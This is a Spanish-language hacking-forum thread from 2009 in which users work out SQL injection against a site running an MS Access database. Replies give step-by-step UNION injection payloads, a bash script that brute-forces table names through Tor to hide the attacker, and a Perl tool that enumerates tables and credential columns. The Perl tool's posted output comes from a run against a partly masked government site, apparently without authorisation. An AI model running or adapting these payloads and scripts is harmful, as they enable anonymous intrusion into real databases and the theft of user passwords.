elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  dudas/problemas sql injection ms-access
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: dudas/problemas sql injection ms-access  (Leído 8,428 veces)
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.218


Como no sabían que era imposible, lo hicieron...


Ver Perfil
dudas/problemas sql injection ms-access
« en: 14 Septiembre 2009, 17:54 pm »

Buenas!

Bueno, siempre he tenido "apartado" el tema de sql injection (por pereza :p) dándole prioridad a otras cosas, pero bueno, creo que ya es hora de ponerme...

asi que últimamente he estado leyendo bastante y tal, y haciendo pruebas por ahí...

bueno, el problema me ha surgido, al encontrarme un sitio que es vulnerable, y que usa MSSQL, pero que no soy capaz de avanzar nada... :S

veamos, digamos que la página vulnerable es esta:
Código:
www.pagina.es/torneo.asp?torneo=09090601

dado que si inserto una simple comilla, me tira esto:
Código:
www.pagina.es/torneo.asp?torneo=09090601'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in query epresionje 'cdgo_torneo LIKE '09090601'%''.

/torneo.asp, line 54

de ahí deduzco que es vulnerable, y que la sentencia SQL debe ser algo como...
Citar
select ... from ... where cdgo_torneo LIKE 'numerito%' ...

donde el % significa que 0 o más caracteres a continuación del id_torneo, hasta aquí bien...

intento algo como:
Código:
www.pagina.es/torneo.asp?torneo=09090601'%20having%201=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in query epresionje '1=1--%''.

/torneo.asp, line 54

por lo que parece que el having se lo pasa por el forro...
intento meter algún paréntesis por si en el Where lo hubiera o algo...:
Código:
www.pagina.es/torneo.asp?torneo=09090601')%20having%201=1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Extra ) in query epresionje 'cdgo_torneo LIKE '09090601')'.

/torneo.asp, line 54

he probado con comillas dobles, con puntos y coma en vez del doble guión...y no llego a nada en claro :S

lo "máximo" que he conseguido es sacar otro tipo de error (con ; en vez de --) a parte de los 2 que puse antes:
Código:
www.pagina.es/torneo.asp?torneo=09090601'%20having%201=1;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Characters found after end of SQL statement.

/torneo.asp, line 54


alguna sugerencia/idea/recomendación ??¿¿ :huh:

gracias y salu2 a todos
« Última modificación: 14 Septiembre 2009, 23:45 pm por kamsky » En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: dudas/problemas sql injection mssql
« Respuesta #1 en: 14 Septiembre 2009, 20:37 pm »

Hola kamsky, esa web que estas inyectando tiene un MS-ACCESS, por lo cual con la clausula Having no vas a poder inyectar nada, ya que esa tecnica se usa para los SQL Server. De todos modos intentadolo con UNION.
Por ejemplo:
1) Intentar brutear una posible tabla. de esta forma

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1 from usuarios
Si la tabla usuarios no existe te arrojara un error algo similar a esto

The Microsoft Jet database engine cannot find the input table or query 'usuarios'. Make sure it exists and that its name is spelled correctly.

Ahora entonces intenta con otra tabla hasta que te tire un error de que la cantidad de columnas para UNION no conincide.. Seria algo asi

The number of columns in the two selected tables or queries of a union query do not match.



2) Ahora tenes que encontrar la cantidad de columnas

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2  from usuarios
www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3  from usuarios
.
.

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3,.....,n  from usuarios

Hasta que no haya error y puedas ver algunos numeros q colocaste de constantes en la busqueda de columnas

3) Y ahora solo queda brutear las posibles Columnas de la tabla encontrada

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,pass,....,n  from usuarios

Donde pass es la columna, si exisitiera podras ver el valor que contiene pass.. Y asi intentar con otra columnas hasta encontrar

www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,password,....,n  from usuarios
.
.
ETC


Espero averte ayudado asi es como yo inyhecto en ACCESS. Si alguien conoce otra forma, que la muestre

Saludos
En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.218


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: dudas/problemas sql injection mssql
« Respuesta #2 en: 14 Septiembre 2009, 22:34 pm »

vale, voy a intentar con Union, pero he hecho unas cuantas pruebas, y el asunto está en que no se como colocar la dichosa comita:'  para que no me tire error...
al igual que antes con el having, he probado con: ', ", ), ; , -- , ...

pero nada, lo ponga como lo ponga, error de sintaxis o similares...

 :huh:

lo que creo que me está dando problemas es el maldito: %

Citar
Syntax error in query expression 'cdgo_torneo LIKE '' OR 1=1%''.

en este caso de arriba, inserté una comilla simple, y el OR 1=1, pero siempre aparece el %...y por más que busco no encuentro algo tipo: -- , que sirva para comentar el resto... y si pongo un punto y coma después de lo que inyecto, da error, porque dice que hay caracteres después de la sentencia sql..probé a poner el null byte despues del punto y coma, pero ni así...

 :huh:
« Última modificación: 14 Septiembre 2009, 22:45 pm por kamsky » En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.218


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: dudas/problemas sql injection mssql
« Respuesta #3 en: 14 Septiembre 2009, 23:07 pm »

parece que finalmente con el %00 (null byte), si que "funciona", pero no me da el error que comentas, si no otro...:

Citar
torneo.asp?torneo='+UNION+SELECT+TOP 1+1+from+usuarios
[Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause.

torneo.asp?torneo=' UNION SELECT 1,1,1 FROM usuarios
[Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause.

no se si ese error es porque la tabla no existe, o simplemente porque como pone , hay un error de sintaxis...si fuera este último caso... que hay mal!!???
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
tomrian

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: dudas/problemas sql injection mssql
« Respuesta #4 en: 14 Septiembre 2009, 23:37 pm »

La manera de lidiar en estos casos es utilizar el resto de la sentencia como parte de tu inyeccion, en este caso en Access un SELECT debe si o si contener una tabla, busca una tabla por adivinación y luego cuando inyectas pones una condición que incluya la %.
Te tiro un ejemplo:
Código:
' UNION SELECT TOP 1 1,2,3,4 from tabla_que_encontraste where '1' LIKE '1

-Aah y por cierto, aca te dejo algunas páginas que hablan de este tipo de inyecciones:
http://www.xuexi123.net/chm/MS%20Access%20SQL%20Injection%20Cheat%20Sheet.htm
http://seclists.org/pen-test/2003/May/0074.html
« Última modificación: 14 Septiembre 2009, 23:40 pm por tomrian » En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.218


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: dudas/problemas sql injection mssql
« Respuesta #5 en: 14 Septiembre 2009, 23:44 pm »

ouuuuuuuu yeah! ;)

parece que ya voy por el buen camino, gracias!!!

por cierto, justo habia encontrado la "chuleta" para ms-access!

p.d.: es un poco "peñazo" lo de tener que "adivinar" las tablas o aplicarle brute-force, pero es lo que toca!!

gracias de nuevo
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.218


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: dudas/problemas sql injection ms-access
« Respuesta #6 en: 15 Septiembre 2009, 03:06 am »

bueno, me he hecho un mini-script en bash, porque es un toston andar palabra por palabra a ver si suena la flauta :P, asi que lo he automatizado un poco

el script pide la url donde se quiere inyectar (incluyendo variable, con el =, pero sin valor), un diccionario a usar para el bruteforce, un archivo de salida donde mostrar los resultados, y opcionalmente un trozo de sentencia sql para validar la sentencia completa (vamos, lo que me puso tomrian en su post!:
Citar
La manera de lidiar en estos casos es utilizar el resto de la sentencia como parte de tu inyeccion, en este caso en Access un SELECT debe si o si contener una tabla, busca una tabla por adivinación y luego cuando inyectas pones una condición que incluya la %.
)

Y a continuación, pues básicamente se dedica a inyectar, y a recoger los "errores" tirados por la inyección en el fichero de log

Por cierto, está programado para que use algún server socks (en mi caso Tor), para anonimizar nuestra consulta, ya que es bastante canteosa... :p

no es nada eficiente, asi que esta un buennnnnnn rato, pero a mi por lo menos me ha funcionado

os pego el code, si alguien le apetece mejorarlo (ya que empeorarlo creo que es imposible :p), tiene total libertad, pero si lo haceis, me gustaría que me avisarais (más que nada para la próxima vez tener alguna herramienta decente y no esta basurilla :P)

Código:
#!/bin/bash

# Mini MS-Access Table Name Brute Forcing
# Kamsky a.k.a Adonis

CURL=`whereis curl | awk {'print $2'}`

  echo -e "\n\n*****************************************************"
  echo -e "* MS-ACCESS SQL Injection - Table Name bruteforcing *"
  echo -e "*****************************************************\n\n"

if [ $# -lt 3 ]; then
 
  echo -e "\nFormato: $0 URL(variable a inyectar) diccionario archivo_salida [sql_relleno_validar]\n"
  echo -e "Ej: $0 www.host_victima.com/posts.asp?id= dicc.txt  where+'1'+LIKE+'1\n"
  exit 1
    fi

   
  echo -e "Inyectando...\n"


while read linea ; do
if [ $# -eq 4 ]; then
    INJECTION="$1'+UNION+SELECT+1+FROM+$linea+$4+%00"
else
    INJECTION="$1'+UNION+SELECT+1+FROM+$linea+%00"
fi
    echo -e "\n\n- Inyeccion: $INJECTION\n" >> salida_inj
    $CURL -s "$INJECTION" --socks4 127.0.0.1:9050 | grep ODBC >> $3

   done <<< "`cat $2`"


  echo -e "Fin Inyección\n"

salu2
« Última modificación: 15 Septiembre 2009, 11:58 am por kamsky » En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
tomrian

Desconectado Desconectado

Mensajes: 19


Ver Perfil
Re: dudas/problemas sql injection ms-access
« Respuesta #7 en: 15 Septiembre 2009, 03:37 am »

Te funciona ? No tengo ahora tiempo para probarlo :P
En línea

MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: dudas/problemas sql injection ms-access
« Respuesta #8 en: 15 Septiembre 2009, 06:39 am »

Hola bro si con el Null byte es para anular la inyeccion me olvide de comentarte.. eso. Y habia hecho uno tambien para encontrar las tablas en perl pero esta maso no mas le faltaba mucho mas cosas y deje a media. Pero para la pagina que estaba auditando me resulto perfecto...

Access Injection SQL

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $ban=0;
  4. @nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','accesos',
  5.  'name','names','nombre','nombres','member','members','admin_table',
  6.  'miembro','miembros','membername','admins','administrator','sign',
  7.  'administrators','passwd','password','passwords','pass','Pass',
  8.  'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
  9.  'member_password','mods','mod','moderators','moderator','user_email',
  10.  'user_emails','user_mail','user_mails','mail','emails','email','address',
  11.  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  12.  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  13.  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  14.  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  15.  'sistema_usuario','sistema_password','contrase&#65533;a','auth','key','senha','signin',
  16.  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
  17.      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
  18.      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
  19.      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
  20.      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
  21.      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  22.  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  23. @nombrecolumna=('emailAdmin',
  24.  'passAdmin','clave','admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  25.          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  26.          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
  27.          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  28.          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  29.          'user_pwd','u_pass','clave','usuario','nom_usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','senha','MEMBER','Clave_de_acceso','passwordAdmin','nameAdmin','loginAdmin','emailAdmin',
  30.  'passAdmin','IdAdmin' ,'nameAdmin' ,'emailAdmin','passswordAdmin');
  31.  
  32.  
  33. sub socket{
  34.    my $inyec= shift;
  35. $socket = new IO::Socket::INET(
  36. PeerAddr => $host,
  37. PeerPort => 'http(80)',
  38. Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
  39. print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n";
  40. print $socket "HOST:$host\r\n";
  41. print $socket "\n\n";
  42. if ($ban ==1){
  43. print "------------------------$tabla---------------------------------------\n";}
  44. return $socket;
  45.  }
  46.  
  47. if (!@ARGV[1]) {
  48.      print "======================================================= \n";
  49.      print " Injection AIS V 1.0 beta by MagnoBalt \n\n";
  50.      print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n";
  51.  print " AIS:Acces Injection SQL \n";
  52.      print "======================================================= \n";
  53.      exit(0);
  54.      }
  55. $host =$ARGV[0];
  56. $path=$ARGV[1];
  57. print "\n[-]Buscando Tablas \n";
  58. $iny="-1+UNION+SELECT+0+FROM+";
  59. #print "antes de la funcion valor $iny\n";
  60. foreach $tabla(@nombretabla) {
  61.  chomp($tabla);  
  62.  #empuezo a guardar linea por linea el source en $response
  63.  $socket=&socket($iny);
  64.  while (<$socket>) {$response .= "$_ "}
  65.  if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#38;#243;n no coincide/)
  66. {
  67. print "[+]Tabla $tabla FOUND\n";
  68. $tabla_aux=$tabla;
  69.    }
  70. #print $response;
  71. $response="";#limpio la variable
  72. }#cierrre foreach
  73. #buscamos numeros de columnas
  74. print "[-]Buscando numeros de columnas\n";
  75. print "[-]Ingrese Maximo con cual intentar \n";
  76. $col.=<STDIN>;
  77. chomp($col);
  78. print "[-]Buscando..\n";
  79. $columna=1;
  80. while ($columna <= $col) {
  81. $union.=','.$columna;
  82. $iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux;
  83. $socket=&socket($iny);
  84. while (<$socket>) { $response .= "$_ "}
  85. #print $response;  
  86. if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#38;#243;n no coincide/)
  87. {
  88. print "[!] Fallo intento columna $columna\n";
  89. }
  90. else {
  91. $col_aux=$columna;
  92. $columna++;
  93. print "[+]La Web Posee $columna columnas\n ";
  94. print "$ARGV[0]$ARGV[1]$iny\n";
  95. $columna = $col;#fuerzo la salida del while.
  96. }
  97. $response="";#limpio la variable
  98. $columna++;
  99. }
  100. #Bruteando las columnas
  101. print "[-]Bruteando las columnas\n";
  102. print "[-]Ingrese Tabla a la cual brutear:\n";
  103. $tabla_aux="";
  104. $tabla_aux.=<STDIN>;
  105. chomp($tabla_aux);
  106. $i=1;
  107.  
  108. while($i <= ($col_aux-1)) {#obtengo columnas menos una
  109.    $cant.=','.$i;
  110.     $i++;
  111.      }
  112. foreach $column(@nombrecolumna){
  113.   chomp($column);
  114.   $iny="-1+UNION+SELECT+0".$cant.",".$column."+FROM+".$tabla_aux;
  115.   $socket=&socket($iny);
  116. while (<$socket>) { $response .= "$_ "}
  117.  if ($response=~/No value given for one or more required parameters/ || $response=~/80040e10/) {
  118.    }
  119.  else{
  120.    print "[+] Columna $column encontrada\n";
  121.      }
  122. $response="";
  123.  }
  124.  
  125.  
  126.  
  127.  
  128.  
  129. close $socket;
  130. exit(0);



Citar
[-]Buscando Tablas
  • Tabla accesos FOUND
  • [-]Buscando numeros de columnas
    [-]Ingrese Maximo con cual intentar
    15
    [-]Buscando..
    [!] Fallo intento columna 1
    [!] Fallo intento columna 2
    [!] Fallo intento columna 3
    [!] Fallo intento columna 4
  • La Web Posee 6 columnas
www.xxxxxxxxxxxxx.gob/path/NoticiaVer.asp?id=-1+UNION+SELECT+0,1,2,3,4,5+FROM+accesos
[-]Bruteando las columnas
[-]Ingrese Tabla a la cual brutear:
accesos
  • Columna authorization encontrada
  • Columna email encontrada
  • Columna nombre encontrada
  • Columna pwd encontrada
  • Columna usuario encontrada
  • Columna passwordAdmin encontrada
En línea

kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.218


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: dudas/problemas sql injection ms-access
« Respuesta #9 en: 15 Septiembre 2009, 11:54 am »

la verdad que tu script está más completo, pero es que yo estuve... 5 minutos??:P

lo que creo que tiene bueno el mio, es el uso de socks para anonimizar la inyección como ya dije
y quizás también, que al tirar de diccionario, hay más probabilidades de encontrar la tabla correcta, pero también hace que sea mas lentoooooooo :o

@ tomrian: si si, funciona, te lo aseguro :p
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problemas con ataque SQL injection
Dudas Generales
JollyRoyer 0 1,455 Último mensaje 6 Agosto 2014, 18:53 pm
por JollyRoyer
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines